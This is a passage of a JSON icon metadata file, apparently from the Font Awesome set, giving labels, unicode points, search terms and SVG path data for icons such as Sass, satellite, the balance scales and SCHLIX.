38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"
      }
    },
    "free": ["brands"]
  },
  "sass": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41e",
    "label": "Sass",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"
      }
    },
    "free": ["brands"]
  },
  "satellite": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6f0"],
        "secondary": ["10f7bf"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["communications", "hardware", "orbit", "satellite", "space"]
    },
    "styles": ["solid"],
    "unicode": "f7bf",
    "label": "Satellite",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M233 7c-9.4-9.4-24.6-9.4-33.9 0l-96 96c-9.4 9.4-9.4 24.6 0 33.9l89.4 89.4-15.5 15.5C152.3 230.4 124.9 224 96 224c-31.7 0-61.5 7.7-87.8 21.2c-9 4.7-10.3 16.7-3.1 23.8L112.7 376.7 96.3 393.1c-2.6-.7-5.4-1.1-8.3-1.1c-17.7 0-32 14.3-32 32s14.3 32 32 32s32-14.3 32-32c0-2.9-.4-5.6-1.1-8.3l16.4-16.4L242.9 506.9c7.2 7.2 19.2 5.9 23.8-3.1C280.3 477.5 288 447.7 288 416c0-28.9-6.4-56.3-17.8-80.9l15.5-15.5L375 409c9.4 9.4 24.6 9.4 33.9 0l96-96c9.4-9.4 9.4-24.6 0-33.9l-89.4-89.4 55-55c12.5-12.5 12.5-32.8 0-45.3l-48-48c-12.5-12.5-32.8-12.5-45.3 0l-55 55L233 7zm159 351l-72.4-72.4 62.1-62.1L454.1 296 392 358.1zM226.3 192.4L153.9 120 216 57.9l72.4 72.4-62.1 62.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M233 7c-9.4-9.4-24.6-9.4-33.9 0l-96 96c-9.4 9.4-9.4 24.6 0 33.9l89.4 89.4-15.5 15.5C152.3 230.4 124.9 224 96 224c-31.7 0-61.5 7.7-87.8 21.2c-9 4.7-10.3 16.7-3.1 23.8L112.7 376.7 96.3 393.1c-2.6-.7-5.4-1.1-8.3-1.1c-17.7 0-32 14.3-32 32s14.3 32 32 32s32-14.3 32-32c0-2.9-.4-5.6-1.1-8.3l16.4-16.4L242.9 506.9c7.2 7.2 19.2 5.9 23.8-3.1C280.3 477.5 288 447.7 288 416c0-28.9-6.4-56.3-17.8-80.9l15.5-15.5L375 409c9.4 9.4 24.6 9.4 33.9 0l96-96c9.4-9.4 9.4-24.6 0-33.9l-89.4-89.4 55-55c12.5-12.5 12.5-32.8 0-45.3l-48-48c-12.5-12.5-32.8-12.5-45.3 0l-55 55L233 7zm159 351l-72.4-72.4 62.1-62.1L454.1 296 392 358.1zM226.3 192.4L153.9 120 216 57.9l72.4 72.4-62.1 62.1z"
      }
    },
    "free": ["solid"]
  },
  "satellite-dish": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e1"],
        "secondary": ["10f7c0"]
      }
    },
    "changes": ["5.6.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "SETI",
        "antenna",
        "communications",
        "dish",
        "hardware",
        "radar",
        "receiver",
        "satellite",
        "satellite antenna",
        "saucer",
        "signal",
        "space"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7c0",
    "label": "Satellite Dish",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 32c0-17.7 14.3-32 32-32C383.1 0 512 128.9 512 288c0 17.7-14.3 32-32 32s-32-14.3-32-32C448 164.3 347.7 64 224 64c-17.7 0-32-14.3-32-32zM60.6 220.6L164.7 324.7l28.4-28.4c-.7-2.6-1.1-5.4-1.1-8.3c0-17.7 14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32c-2.9 0-5.6-.4-8.3-1.1l-28.4 28.4L291.4 451.4c14.5 14.5 11.8 38.8-7.3 46.3C260.5 506.9 234.9 512 208 512C93.1 512 0 418.9 0 304c0-26.9 5.1-52.5 14.4-76.1c7.5-19 31.8-21.8 46.3-7.3zM224 96c106 0 192 86 192 192c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-70.7-57.3-128-128-128c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 32c0-17.7 14.3-32 32-32C383.1 0 512 128.9 512 288c0 17.7-14.3 32-32 32s-32-14.3-32-32C448 164.3 347.7 64 224 64c-17.7 0-32-14.3-32-32zM60.6 220.6L164.7 324.7l28.4-28.4c-.7-2.6-1.1-5.4-1.1-8.3c0-17.7 14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32c-2.9 0-5.6-.4-8.3-1.1l-28.4 28.4L291.4 451.4c14.5 14.5 11.8 38.8-7.3 46.3C260.5 506.9 234.9 512 208 512C93.1 512 0 418.9 0 304c0-26.9 5.1-52.5 14.4-76.1c7.5-19 31.8-21.8 46.3-7.3zM224 96c106 0 192 86 192 192c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-70.7-57.3-128-128-128c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "scale-balanced": {
    "aliases": {
      "names": ["balance-scale"],
      "unicodes": {
        "composite": ["2696"],
        "secondary": ["10f24e"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Libra",
        "balance",
        "balance scale",
        "balanced",
        "justice",
        "law",
        "legal",
        "measure",
        "rule",
        "scale",
        "weight",
        "zodiac"
      ]
    },
    "styles": ["solid"],
    "unicode": "f24e",
    "label": "Scale Balanced",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M384 32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H398.4c-5.2 25.8-22.9 47.1-46.4 57.3V448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-23.5-10.3-41.2-31.6-46.4-57.3H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c14.6-19.4 37.8-32 64-32s49.4 12.6 64 32zm55.6 288H584.4L512 195.8 439.6 320zM512 416c-62.9 0-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C627.2 382 574.9 416 512 416zM126.8 195.8L54.4 320H199.3L126.8 195.8zM.9 337.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C242 382 189.7 416 126.8 416S11.7 382 .9 337.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M384 32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H398.4c-5.2 25.8-22.9 47.1-46.4 57.3V448H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-23.5-10.3-41.2-31.6-46.4-57.3H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c14.6-19.4 37.8-32 64-32s49.4 12.6 64 32zm55.6 288H584.4L512 195.8 439.6 320zM512 416c-62.9 0-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C627.2 382 574.9 416 512 416zM126.8 195.8L54.4 320H199.3L126.8 195.8zM.9 337.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C242 382 189.7 416 126.8 416S11.7 382 .9 337.1z"
      }
    },
    "free": ["solid"]
  },
  "scale-unbalanced": {
    "aliases": {
      "names": ["balance-scale-left"],
      "unicodes": {
        "secondary": ["10f515"]
      }
    },
    "changes": [
      "5.0.13",
      "5.9.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["justice", "legal", "measure", "unbalanced", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f515",
    "label": "Scale Unbalanced",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M522.1 62.4c16.8-5.6 25.8-23.7 20.2-40.5S518.6-3.9 501.9 1.6l-113 37.7C375 15.8 349.3 0 320 0c-44.2 0-80 35.8-80 80c0 3 .2 5.9 .5 8.8L117.9 129.6c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l135.5-45.2c4.5 3.2 9.3 5.9 14.4 8.2V480c0 17.7 14.3 32 32 32H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V153.3c21-9.2 37.2-27 44.2-49l125.9-42zM439.6 288L512 163.8 584.4 288H439.6zM512 384c62.9 0 115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L536.1 109.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L392.7 273.1c-5.7 9.8-9.3 21.1-6.7 32.1C396.8 350 449.1 384 512 384zM129.2 291.8L201.6 416H56.7l72.4-124.2zM3.2 433.1C14 478 66.3 512 129.2 512s115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L153.2 237.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L9.9 401.1c-5.7 9.8-9.3 21.1-6.7 32.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M522.1 62.4c16.8-5.6 25.8-23.7 20.2-40.5S518.6-3.9 501.9 1.6l-113 37.7C375 15.8 349.3 0 320 0c-44.2 0-80 35.8-80 80c0 3 .2 5.9 .5 8.8L117.9 129.6c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l135.5-45.2c4.5 3.2 9.3 5.9 14.4 8.2V480c0 17.7 14.3 32 32 32H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V153.3c21-9.2 37.2-27 44.2-49l125.9-42zM439.6 288L512 163.8 584.4 288H439.6zM512 384c62.9 0 115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L536.1 109.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L392.7 273.1c-5.7 9.8-9.3 21.1-6.7 32.1C396.8 350 449.1 384 512 384zM129.2 291.8L201.6 416H56.7l72.4-124.2zM3.2 433.1C14 478 66.3 512 129.2 512s115.2-34 126-78.9c2.6-11-1-22.3-6.7-32.1L153.2 237.8c-5-8.6-14.2-13.8-24.1-13.8s-19.1 5.3-24.1 13.8L9.9 401.1c-5.7 9.8-9.3 21.1-6.7 32.1z"
      }
    },
    "free": ["solid"]
  },
  "scale-unbalanced-flip": {
    "aliases": {
      "names": ["balance-scale-right"],
      "unicodes": {
        "secondary": ["10f516"]
      }
    },
    "changes": [
      "5.0.13",
      "5.9.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["justice", "legal", "measure", "unbalanced", "weight"]
    },
    "styles": ["solid"],
    "unicode": "f516",
    "label": "Scale Unbalanced Flip",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M117.9 62.4c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l113 37.7C265 15.8 290.7 0 320 0c44.2 0 80 35.8 80 80c0 3-.2 5.9-.5 8.8l122.6 40.9c16.8 5.6 25.8 23.7 20.2 40.5s-23.7 25.8-40.5 20.2L366.4 145.2c-4.5 3.2-9.3 5.9-14.4 8.2V480c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-21-9.2-37.2-27-44.2-49l-125.9-42zM200.4 288L128 163.8 55.6 288H200.4zM128 384C65.1 384 12.8 350 2 305.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C243.2 350 190.9 384 128 384zm382.8-92.2L438.4 416H583.3L510.8 291.8zm126 141.3C626 478 573.7 512 510.8 512s-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M117.9 62.4c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l113 37.7C265 15.8 290.7 0 320 0c44.2 0 80 35.8 80 80c0 3-.2 5.9-.5 8.8l122.6 40.9c16.8 5.6 25.8 23.7 20.2 40.5s-23.7 25.8-40.5 20.2L366.4 145.2c-4.5 3.2-9.3 5.9-14.4 8.2V480c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32s14.3-32 32-32H288V153.3c-21-9.2-37.2-27-44.2-49l-125.9-42zM200.4 288L128 163.8 55.6 288H200.4zM128 384C65.1 384 12.8 350 2 305.1c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1C243.2 350 190.9 384 128 384zm382.8-92.2L438.4 416H583.3L510.8 291.8zm126 141.3C626 478 573.7 512 510.8 512s-115.2-34-126-78.9c-2.6-11 1-22.3 6.7-32.1l95.2-163.2c5-8.6 14.2-13.8 24.1-13.8s19.1 5.3 24.1 13.8l95.2 163.2c5.7 9.8 9.3 21.1 6.7 32.1z"
      }
    },
    "free": ["solid"]
  },
  "schlix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ea",
    "label": "SCHLIX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 